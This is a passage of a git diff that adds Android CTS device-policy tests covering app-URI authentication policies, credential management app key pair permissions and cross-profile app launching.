+    </uses-policies>
+</device-admin>
+
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/AppUriAuthenticationPolicyTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/AppUriAuthenticationPolicyTest.java
new file mode 100644
index 0000000..238de41
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/AppUriAuthenticationPolicyTest.java
@@ -0,0 +1,165 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.net.Uri;
+import android.os.Parcel;
+import android.security.AppUriAuthenticationPolicy;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Iterator;
+import java.util.Map;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public final class AppUriAuthenticationPolicyTest {
+
+    private final static String PACKAGE_NAME = "com.android.test";
+    private final static Uri URI = Uri.parse("test.com");
+    private final static Uri URI2 = Uri.parse("test2.com");
+    private final static String ALIAS = "testAlias";
+    private final static AppUriAuthenticationPolicy AUTHENTICATION_POLICY =
+            new AppUriAuthenticationPolicy.Builder()
+                    .addAppAndUriMapping(PACKAGE_NAME, URI, ALIAS)
+                    .build();
+
+    @Test
+    public void getAppAndUrisMappings_returnsMapping() {
+        AppUriAuthenticationPolicy authenticationPolicy =
+                new AppUriAuthenticationPolicy.Builder()
+                        .addAppAndUriMapping(PACKAGE_NAME, URI, ALIAS)
+                        .build();
+
+        Map<String, Map<Uri, String>> appToUris = authenticationPolicy.getAppAndUriMappings();
+
+        assertThat(appToUris.containsKey(PACKAGE_NAME)).isTrue();
+        Map<Uri, String> urisToAlias = appToUris.get(PACKAGE_NAME);
+        assertThat(urisToAlias.containsKey(URI)).isTrue();
+        assertThat(urisToAlias.get(URI)).isEqualTo(ALIAS);
+    }
+
+    @Test
+    public void getAppAnyUrisMappings_multipleUrisSameAlias_containsBothUris() {
+        AppUriAuthenticationPolicy authenticationPolicy =
+                new AppUriAuthenticationPolicy.Builder()
+                        .addAppAndUriMapping(PACKAGE_NAME, URI, ALIAS)
+                        .addAppAndUriMapping(PACKAGE_NAME, URI2, ALIAS)
+                        .build();
+
+        Map<String, Map<Uri, String>> appToUris = authenticationPolicy.getAppAndUriMappings();
+        Map<Uri, String> urisToAlias = appToUris.get(PACKAGE_NAME);
+
+        assertThat(urisToAlias.containsKey(URI)).isTrue();
+        assertThat(urisToAlias.get(URI)).isEqualTo(ALIAS);
+        assertThat(urisToAlias.containsKey(URI2)).isTrue();
+        assertThat(urisToAlias.get(URI2)).isEqualTo(ALIAS);
+    }
+
+    @Test
+    public void addAppAndUriMapping_nullUri_throwException() {
+        try {
+            new AppUriAuthenticationPolicy.Builder().addAppAndUriMapping(
+                    PACKAGE_NAME, /* uris= */ null, ALIAS);
+            fail("Shall not take null inputs");
+        } catch (NullPointerException expected) {
+            // Expected behavior, nothing to do.
+        }
+    }
+
+    @Test
+    public void addAppAndUriMapping_nullPackageName_throwException() {
+        try {
+            new AppUriAuthenticationPolicy.Builder().addAppAndUriMapping(
+                    /* packageName= */ null, URI, ALIAS);
+            fail("Shall not take null inputs");
+        } catch (NullPointerException expected) {
+            // Expected behavior, nothing to do.
+        }
+    }
+
+    @Test
+    public void addAppAndUriMapping_nullAlias_throwException() {
+        try {
+            new AppUriAuthenticationPolicy.Builder().addAppAndUriMapping(PACKAGE_NAME,
+                    URI, /* alias= */null);
+            fail("Shall not take null inputs");
+        } catch (NullPointerException expected) {
+            // Expected behavior, nothing to do.
+        }
+    }
+
+    @Test
+    public void AppUriAuthenticationPolicy_parcel() {
+        Parcel parcel = null;
+        try {
+            // Write to parcel
+            parcel = Parcel.obtain();
+            parcel.writeParcelable(AUTHENTICATION_POLICY, 0);
+            parcel.setDataPosition(0);
+
+            // Read from parcel
+            AppUriAuthenticationPolicy createdPolicy =
+                    parcel.readParcelable(/* classLoader = */null);
+
+            assertThat(createdPolicy).isNotNull();
+            assertAuthenticationPoliciesEqual(createdPolicy, AUTHENTICATION_POLICY);
+        } finally {
+            if (parcel != null) {
+                parcel.recycle();
+            }
+        }
+    }
+
+    private void assertAuthenticationPoliciesEqual(AppUriAuthenticationPolicy actual,
+            AppUriAuthenticationPolicy expected) {
+        Iterator<Map.Entry<String, Map<Uri, String>>> actualIter =
+                actual.getAppAndUriMappings().entrySet().iterator();
+        Iterator<Map.Entry<String, Map<Uri, String>>> expectedIter =
+                expected.getAppAndUriMappings().entrySet().iterator();
+
+        assertThat(actual.getAppAndUriMappings().size())
+                .isEqualTo(expected.getAppAndUriMappings().size());
+        while (actualIter.hasNext()) {
+            Map.Entry<String, Map<Uri, String>> actualAppToUri = actualIter.next();
+            Map.Entry<String, Map<Uri, String>> expectedAppToUri = expectedIter.next();
+            assertThat(actualAppToUri.getKey()).isEqualTo(expectedAppToUri.getKey());
+            assertUriToAliasesEqual(actualAppToUri.getValue(), expectedAppToUri.getValue());
+        }
+    }
+
+    private void assertUriToAliasesEqual(Map<Uri, String> actual, Map<Uri, String> expected) {
+        Iterator<Map.Entry<Uri, String>> actualIter = actual.entrySet().iterator();
+        Iterator<Map.Entry<Uri, String>> expectedIter = expected.entrySet().iterator();
+
+        assertThat(actual.size()).isEqualTo(expected.size());
+        while (actualIter.hasNext()) {
+            Map.Entry<Uri, String> actualUriToAlias = actualIter.next();
+            Map.Entry<Uri, String> expectedUriToAlias = expectedIter.next();
+            assertThat(actualUriToAlias.getKey()).isEqualTo(expectedUriToAlias.getKey());
+            assertThat(actualUriToAlias.getValue()).isEqualTo(expectedUriToAlias.getValue());
+        }
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java
new file mode 100644
index 0000000..e759834
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java
@@ -0,0 +1,353 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static android.app.admin.DevicePolicyManager.INSTALLKEY_SET_USER_SELECTABLE;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.assertTrue;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.AppOpsManager;
+import android.app.UiAutomation;
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.net.Uri;
+import android.os.Binder;
+import android.os.Process;
+import android.platform.test.annotations.Postsubmit;
+import android.security.AppUriAuthenticationPolicy;
+import android.security.AttestedKeyPair;
+import android.security.KeyChain;
+import android.security.keystore.KeyGenParameterSpec;
+import android.security.keystore.KeyProperties;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.activitycontext.ActivityContext;
+import com.android.compatibility.common.util.BlockingCallback;
+import com.android.compatibility.common.util.FakeKeys;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayInputStream;
+import java.security.KeyFactory;
+import java.security.KeyPair;
+import java.security.NoSuchAlgorithmException;
+import java.security.PrivateKey;
+import java.security.PublicKey;
+import java.security.Signature;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateException;
+import java.security.cert.CertificateFactory;
+import java.security.spec.InvalidKeySpecException;
+import java.security.spec.PKCS8EncodedKeySpec;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class CredentialManagementAppTest {
+
+    private static final PrivateKey PRIVATE_KEY =
+            getPrivateKey(FakeKeys.FAKE_RSA_1.privateKey, "RSA");
+    private static final Certificate CERTIFICATE =
+            getCertificate(FakeKeys.FAKE_RSA_1.caCertificate);
+    private static final Certificate[] CERTIFICATES = new Certificate[]{CERTIFICATE};
+    private static final long KEYCHAIN_WAIT_TIME_MS = TimeUnit.MINUTES.toMillis(1);
+
+    private static final Context CONTEXT = ApplicationProvider.getApplicationContext();
+    private static final String MANAGE_CREDENTIALS = "android:manage_credentials";
+
+    private static final String ALIAS = "com.android.test.rsa";
+    private static final String NOT_IN_USER_POLICY_ALIAS = "anotherAlias";
+    private final static String PACKAGE_NAME = CONTEXT.getPackageName();
+    private final static Uri URI = Uri.parse("https://test.com");
+    private final static AppUriAuthenticationPolicy AUTHENTICATION_POLICY =
+            new AppUriAuthenticationPolicy.Builder()
+                    .addAppAndUriMapping(PACKAGE_NAME, URI, ALIAS)
+                    .build();
+
+    private final static String MANAGE_CREDENTIAL_MANAGEMENT_APP_PERMISSION =
+            "android.permission.MANAGE_CREDENTIAL_MANAGEMENT_APP";
+
+    private final DevicePolicyManager mDpm = CONTEXT.getSystemService(DevicePolicyManager.class);
+    private final int mUserId = Process.myUserHandle().getIdentifier();
+
+    @Postsubmit
+    @Test
+    public void installKeyPair_withoutManageCredentialAppOp_throwsException() throws Exception {
+        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+        assertThrows(SecurityException.class,
+                () -> mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+                        ALIAS, /* flags = */ 0));
+    }
+
+    @Postsubmit
+    @Test
+    public void removeKeyPair_withoutManageCredentialAppOp_throwsException() throws Exception {
+        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+        assertThrows(SecurityException.class,
+                () -> mDpm.removeKeyPair(/* admin = */ null, ALIAS));
+    }
+
+    @Postsubmit
+    @Test
+    public void generateKeyPair_withoutManageCredentialAppOp_throwsException() throws Exception {
+        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+        assertThrows(SecurityException.class,
+                () -> mDpm.generateKeyPair(/* admin = */ null, "RSA",
+                        buildRsaKeySpec(ALIAS, /* useStrongBox = */ false),
+                        /* idAttestationFlags = */ 0));
+    }
+
+    @Postsubmit
+    @Test
+    public void setKeyPairCertificate_withoutManageCredentialAppOp_throwsException()
+            throws Exception {
+        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+        assertThrows(SecurityException.class,
+                () -> mDpm.setKeyPairCertificate(/* admin = */ null, ALIAS,
+                        Arrays.asList(CERTIFICATE), /* isUserSelectable = */ false));
+    }
+
+    @Postsubmit
+    @Test
+    public void installKeyPair_isUserSelectableFlagSet_throwsException() throws Exception {
+        setCredentialManagementApp();
+        assertThrows(SecurityException.class,
+                () -> mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+                        ALIAS, /* flags = */ INSTALLKEY_SET_USER_SELECTABLE));
+    }
+
+    @Postsubmit
+    @Test
+    public void installKeyPair_aliasIsNotInAuthenticationPolicy_throwsException() throws Exception {
+        setCredentialManagementApp();
+        assertThrows(SecurityException.class,
+                () -> mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+                        NOT_IN_USER_POLICY_ALIAS, /* flags = */ 0));
+    }
+
+    @Postsubmit
+    @Test
+    public void installKeyPair_isCredentialManagementApp_success() throws Exception {
+        setCredentialManagementApp();
+        try {
+            // Install keypair as credential management app
+            assertThat(mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+                    ALIAS, 0)).isTrue();
+        } finally {
+            // Remove keypair as credential management app
+            mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+            removeCredentialManagementApp();
+        }
+    }
+
+    @Postsubmit
+    @Test
+    public void removeKeyPair_isCredentialManagementApp_success() throws Exception {
+        setCredentialManagementApp();
+        try {
+            // Install keypair as credential management app
+            mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES, ALIAS, 0);
+        } finally {
+            // Remove keypair as credential management app
+            assertThat(mDpm.removeKeyPair(/* admin = */ null, ALIAS)).isTrue();
+            removeCredentialManagementApp();
+        }
+    }
+
+    @Postsubmit
+    @Test
+    public void generateKeyPair_isCredentialManagementApp_success() throws Exception {
+        setCredentialManagementApp();
+        try {
+            // Generate keypair as credential management app
+            AttestedKeyPair generated = mDpm.generateKeyPair(/* admin = */ null, "RSA",
+                    buildRsaKeySpec(ALIAS, /* useStrongBox = */ false),
+                    /* idAttestationFlags = */ 0);
+
+            assertThat(generated).isNotNull();
+            verifySignatureOverData("SHA256withRSA", generated.getKeyPair());
+        } finally {
+            // Remove keypair as credential management app
+            mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+            removeCredentialManagementApp();
+        }
+    }
+
+    @Postsubmit
+    @Test
+    public void setKeyPairCertificate_isCredentialManagementApp_success() throws Exception {
+        setCredentialManagementApp();
+        try {
+            // Generate keypair and aet keypair certificate as credential management app
+            KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(ALIAS,
+                    KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY).setDigests(
+                    KeyProperties.DIGEST_SHA256).build();
+            AttestedKeyPair generated = mDpm.generateKeyPair(/* admin = */ null, "EC", spec, 0);
+            List<Certificate> certificates = Arrays.asList(CERTIFICATE);
+            mDpm.setKeyPairCertificate(/* admin = */ null, ALIAS, certificates, false);
+
+            // Make sure certificates can be retrieved from KeyChain
+            Certificate[] fetchedCerts = KeyChain.getCertificateChain(CONTEXT, ALIAS);
+
+            assertThat(generated).isNotNull();
+            assertThat(fetchedCerts).isNotNull();
+            assertThat(fetchedCerts.length).isEqualTo(certificates.size());
+            assertThat(fetchedCerts[0].getEncoded()).isEqualTo(certificates.get(0).getEncoded());
+        } finally {
+            // Remove keypair as credential management app
+            mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+            removeCredentialManagementApp();
+        }
+    }
+
+    @Postsubmit
+    @Test
+    public void choosePrivateKeyAlias_isCredentialManagementApp_aliasSelected() throws Exception {
+        setCredentialManagementApp();
+        try {
+            // Install keypair as credential management app
+            mDpm.installKeyPair(null, PRIVATE_KEY, new Certificate[]{CERTIFICATE}, ALIAS, 0);
+            KeyChainAliasCallback callback = new KeyChainAliasCallback();
+
+            ActivityContext.runWithContext((activity) ->
+                    KeyChain.choosePrivateKeyAlias(activity, callback,
+                            /* keyTypes= */ null, /* issuers= */ null, URI, /* alias = */ null)
+            );
+
+            assertThat(callback.await()).isEqualTo(ALIAS);
+        } finally {
+            // Remove keypair as credential management app
+            mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+            removeCredentialManagementApp();
+        }
+    }
+
+    // TODO(scottjonathan): Using either code generation or reflection we could remove the need for
+    //  these boilerplate classes
+    private static class KeyChainAliasCallback extends BlockingCallback<String> implements
+            android.security.KeyChainAliasCallback {
+        @Override
+        public void alias(final String chosenAlias) {
+            callbackTriggered(chosenAlias);
+        }
+    }
+
+    // TODO (b/174677062): Move this into infrastructure
+    private void setCredentialManagementApp() throws Exception {
+        UiAutomation mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            mUiAutomation.adoptShellPermissionIdentity(MANAGE_CREDENTIAL_MANAGEMENT_APP_PERMISSION);
+            assertTrue("Unable to set credential management app",
+                    KeyChain.setCredentialManagementApp(CONTEXT, PACKAGE_NAME,
+                            AUTHENTICATION_POLICY));
+        } finally {
+            mUiAutomation.dropShellPermissionIdentity();
+        }
+
+        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ true, mUserId);
+        assertTrue("CredentialManagementApp should have app op MANAGE_CREDENTIALS",
+                isCredentialManagementApp());
+    }
+
+    // TODO (b/174677062): Move this into infrastructure
+    private void removeCredentialManagementApp() throws Exception {
+        UiAutomation mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            mUiAutomation.adoptShellPermissionIdentity(MANAGE_CREDENTIAL_MANAGEMENT_APP_PERMISSION);
+            assertTrue("Unable to remove credential management app",
+                    KeyChain.removeCredentialManagementApp(CONTEXT));
+        } finally {
+            mUiAutomation.dropShellPermissionIdentity();
+        }
+        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+    }
+
+    private void setManageCredentialsAppOps(String packageName, boolean allowed, int userId)
+            throws Exception {
+        String command = "appops set --user " + userId + " " + packageName + " " +
+                "MANAGE_CREDENTIALS " + (allowed ? "allow" : "default");
+        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
+    }
+
+    void verifySignature(String algoIdentifier, PublicKey publicKey, byte[] signature)
+            throws Exception {
+        byte[] data = "hello".getBytes();
+        Signature verify = Signature.getInstance(algoIdentifier);
+        verify.initVerify(publicKey);
+        verify.update(data);
+        assertThat(verify.verify(signature)).isTrue();
+    }
+
+    private void verifySignatureOverData(String algoIdentifier, KeyPair keyPair) throws Exception {
+        verifySignature(algoIdentifier, keyPair.getPublic(),
+                signDataWithKey(algoIdentifier, keyPair.getPrivate()));
+    }
+
+    private byte[] signDataWithKey(String algoIdentifier, PrivateKey privateKey) throws Exception {
+        byte[] data = "hello".getBytes();
+        Signature sign = Signature.getInstance(algoIdentifier);
+        sign.initSign(privateKey);
+        sign.update(data);
+        return sign.sign();
+    }
+
+    private static PrivateKey getPrivateKey(final byte[] key, String type) {
+        try {
+            return KeyFactory.getInstance(type).generatePrivate(
+                    new PKCS8EncodedKeySpec(key));
+        } catch (InvalidKeySpecException | NoSuchAlgorithmException e) {
+            throw new AssertionError("Unable to get certificate." + e);
+        }
+    }
+
+    private static Certificate getCertificate(byte[] cert) {
+        try {
+            return CertificateFactory.getInstance("X.509").generateCertificate(
+                    new ByteArrayInputStream(cert));
+        } catch (CertificateException e) {
+            throw new AssertionError("Unable to get certificate." + e);
+        }
+    }
+
+    private boolean isCredentialManagementApp() {
+        AppOpsManager appOpsManager = CONTEXT.getSystemService(AppOpsManager.class);
+        return appOpsManager.unsafeCheckOpNoThrow(MANAGE_CREDENTIALS,
+                Binder.getCallingUid(), CONTEXT.getPackageName()) == AppOpsManager.MODE_ALLOWED;
+    }
+
+    private KeyGenParameterSpec buildRsaKeySpec(String alias, boolean useStrongBox) {
+        return new KeyGenParameterSpec.Builder(
+                alias,
+                KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
+                .setKeySize(2048)
+                .setDigests(KeyProperties.DIGEST_SHA256)
+                .setSignaturePaddings(KeyProperties.SIGNATURE_PADDING_RSA_PSS,
+                        KeyProperties.SIGNATURE_PADDING_RSA_PKCS1)
+                .setIsStrongBoxBacked(useStrongBox)
+                .build();
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java
new file mode 100644
index 0000000..a80a32b
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java
@@ -0,0 +1,327 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static com.android.compatibility.common.util.enterprise.DeviceState.UserType.PRIMARY_USER;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.assertNotNull;
+
+import static org.junit.Assert.assertEquals;
+import static org.testng.Assert.assertThrows;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.pm.CrossProfileApps;
+import android.os.UserHandle;
+import android.os.UserManager;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import com.android.compatibility.common.util.enterprise.DeviceState;
+import com.android.compatibility.common.util.enterprise.annotations.EnsureHasSecondaryUser;
+import com.android.compatibility.common.util.enterprise.annotations.EnsureHasWorkProfile;
+import com.android.compatibility.common.util.enterprise.annotations.Postsubmit;
+import com.android.compatibility.common.util.enterprise.annotations.RequireRunOnPrimaryUser;
+import com.android.compatibility.common.util.enterprise.annotations.RequireRunOnSecondaryUser;
+import com.android.compatibility.common.util.enterprise.annotations.RequireRunOnWorkProfile;
+
+import org.junit.ClassRule;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public final class CrossProfileAppsTest {
+
+    private static final String ID_USER_TEXTVIEW =
+            "com.android.cts.devicepolicy:id/user_textview";
+    private static final long TIMEOUT_WAIT_UI = TimeUnit.SECONDS.toMillis(10);
+    private static final Context sContext = ApplicationProvider.getApplicationContext();
+    private static final CrossProfileApps sCrossProfileApps =
+            sContext.getSystemService(CrossProfileApps.class);
+    private static final UserManager sUserManager = sContext.getSystemService(UserManager.class);
+
+    @ClassRule @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @Postsubmit(reason="new test")
+    public void getTargetUserProfiles_callingFromPrimaryUser_doesNotContainPrimaryUser() {
+        List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
+
+        assertThat(targetProfiles).doesNotContain(sDeviceState.getPrimaryUser());
+    }
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasSecondaryUser
+    @Postsubmit(reason="new test")
+    public void getTargetUserProfiles_callingFromPrimaryUser_doesNotContainSecondaryUser() {
+        List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
+
+        assertThat(targetProfiles).doesNotContain(sDeviceState.getSecondaryUser());
+    }
+
+    @Test
+    @RequireRunOnWorkProfile
+    @Postsubmit(reason="new test")
+    public void getTargetUserProfiles_callingFromWorkProfile_containsPrimaryUser() {
+        List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
+
+        assertThat(targetProfiles).contains(sDeviceState.getPrimaryUser());
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    @Postsubmit(reason="new test")
+    public void getTargetUserProfiles_callingFromPrimaryUser_containsWorkProfile() {
+        List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
+
+        assertThat(targetProfiles).contains(sDeviceState.getWorkProfile());
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile(installTestApp = false)
+    @Postsubmit(reason="new test")
+    public void getTargetUserProfiles_callingFromPrimaryUser_appNotInstalledInWorkProfile_doesNotContainWorkProfile() {
+        List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
+
+        assertThat(targetProfiles).doesNotContain(sDeviceState.getWorkProfile());
+    }
+
+    @Test
+    @RequireRunOnSecondaryUser
+    @EnsureHasWorkProfile(forUser = PRIMARY_USER)
+    @Postsubmit(reason="new test")
+    public void getTargetUserProfiles_callingFromSecondaryUser_doesNotContainWorkProfile() {
+        List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
+
+        assertThat(targetProfiles).doesNotContain(
+                sDeviceState.getWorkProfile(/* forUser= */ PRIMARY_USER));
+    }
+
+    @Test
+    @RequireRunOnWorkProfile
+    @Ignore // TODO(scottjonathan): Replace use of UIAutomator
+    @Postsubmit(reason="new test")
+    public void startMainActivity_callingFromWorkProfile_targetIsPrimaryUser_launches() {
+        sCrossProfileApps.startMainActivity(
+                new ComponentName(sContext, MainActivity.class), sDeviceState.getPrimaryUser());
+
+        assertMainActivityLaunchedForUser(sDeviceState.getPrimaryUser());
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    @Ignore // TODO(scottjonathan): Replace use of UIAutomator
+    @Postsubmit(reason="new test")
+    public void startMainActivity_callingFromPrimaryUser_targetIsWorkProfile_launches() {
+        sCrossProfileApps.startMainActivity(
+                new ComponentName(sContext, MainActivity.class), sDeviceState.getWorkProfile());
+
+        assertMainActivityLaunchedForUser(sDeviceState.getWorkProfile());
+    }
+
+    private void assertMainActivityLaunchedForUser(UserHandle user) {
+        // TODO(scottjonathan): Replace this with a standard event log or similar to avoid UI
+        // Look for the text view to verify that MainActivity is started.
+        UiObject2 textView = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation())
+                .wait(
+                        Until.findObject(By.res(ID_USER_TEXTVIEW)),
+                        TIMEOUT_WAIT_UI);
+        assertNotNull("Failed to start activity in target user", textView);
+        // Look for the text in textview, it should be the serial number of target user.
+        assertEquals("Activity is started in wrong user",
+                String.valueOf(sUserManager.getSerialNumberForUser(user)),
+                textView.getText());
+    }
+
+    @Test
+    @Postsubmit(reason="new test")
+    public void startMainActivity_activityNotExported_throwsSecurityException() {
+        assertThrows(SecurityException.class, () -> {
+            sCrossProfileApps.startMainActivity(
+                    new ComponentName(sContext, NonExportedActivity.class),
+                    sDeviceState.getPrimaryUser());
+        });
+    }
+
+    @Test
+    @Postsubmit(reason="new test")
+    public void startMainActivity_activityNotMain_throwsSecurityException() {
+        assertThrows(SecurityException.class, () -> {
+            sCrossProfileApps.startMainActivity(
+                    new ComponentName(sContext, NonMainActivity.class),
+                    sDeviceState.getPrimaryUser());
+        });
+    }
+
+    @Test
+    @Ignore // TODO(scottjonathan): This requires another app to be installed which can be launched
+    @Postsubmit(reason="new test")
+    public void startMainActivity_activityIncorrectPackage_throwsSecurityException() {
+        assertThrows(SecurityException.class, () -> {
+
+        });
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @Postsubmit(reason="new test")
+    public void
+            startMainActivity_callingFromPrimaryUser_targetIsPrimaryUser_throwsSecurityException() {
+        assertThrows(SecurityException.class, () -> {
+            sCrossProfileApps.startMainActivity(
+                    new ComponentName(sContext, MainActivity.class), sDeviceState.getPrimaryUser());
+        });
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasSecondaryUser
+    @Postsubmit(reason="new test")
+    public void
+    startMainActivity_callingFromPrimaryUser_targetIsSecondaryUser_throwsSecurityException() {
+        assertThrows(SecurityException.class, () -> {
+            sCrossProfileApps.startMainActivity(
+                    new ComponentName(sContext, MainActivity.class),
+                    sDeviceState.getSecondaryUser());
+        });
+    }
+
+    @Test
+    @RequireRunOnSecondaryUser
+    @EnsureHasWorkProfile(forUser = PRIMARY_USER)
+    @Postsubmit(reason="new test")
+    public void
+    startMainActivity_callingFromSecondaryUser_targetIsWorkProfile_throwsSecurityException() {
+        assertThrows(SecurityException.class, () -> {
+            sCrossProfileApps.startMainActivity(
+                    new ComponentName(sContext, MainActivity.class),
+                    sDeviceState.getWorkProfile(/* forUser= */ PRIMARY_USER));
+        });
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @Postsubmit(reason="new test")
+    public void getProfileSwitchingLabel_callingFromPrimaryUser_targetIsPrimaryUser_throwsSecurityException() {
+        assertThrows(SecurityException.class, () -> {
+            sCrossProfileApps.getProfileSwitchingLabel(sDeviceState.getPrimaryUser());
+        });
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasSecondaryUser
+    @Postsubmit(reason="new test")
+    public void getProfileSwitchingLabel_callingFromPrimaryUser_targetIsSecondaryUser_throwsSecurityException() {
+        assertThrows(SecurityException.class, () -> {
+            sCrossProfileApps.getProfileSwitchingLabel(sDeviceState.getPrimaryUser());
+        });
+    }
+
+    @Test
+    @RequireRunOnSecondaryUser
+    @EnsureHasWorkProfile(forUser = PRIMARY_USER)
+    @Postsubmit(reason="new test")
+    public void getProfileSwitchingLabel_callingFromSecondaryUser_targetIsWorkProfile_throwsSecurityException() {
+        assertThrows(SecurityException.class, () -> {
+            sCrossProfileApps.getProfileSwitchingLabel(
+                    sDeviceState.getWorkProfile(/* forUser= */ PRIMARY_USER));
+        });
+    }
+
+    @Test
+    @RequireRunOnWorkProfile
+    @Postsubmit(reason="new test")
+    public void getProfileSwitchingLabel_callingFromWorProfile_targetIsPrimaryUser_notNull() {
+        assertThat(sCrossProfileApps.getProfileSwitchingLabel(
+                sDeviceState.getPrimaryUser())).isNotNull();
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    @Postsubmit(reason="new test")
+    public void getProfileSwitchingLabel_callingFromPrimaryUser_targetIsWorkProfile_notNull() {
+        assertThat(sCrossProfileApps.getProfileSwitchingLabel(
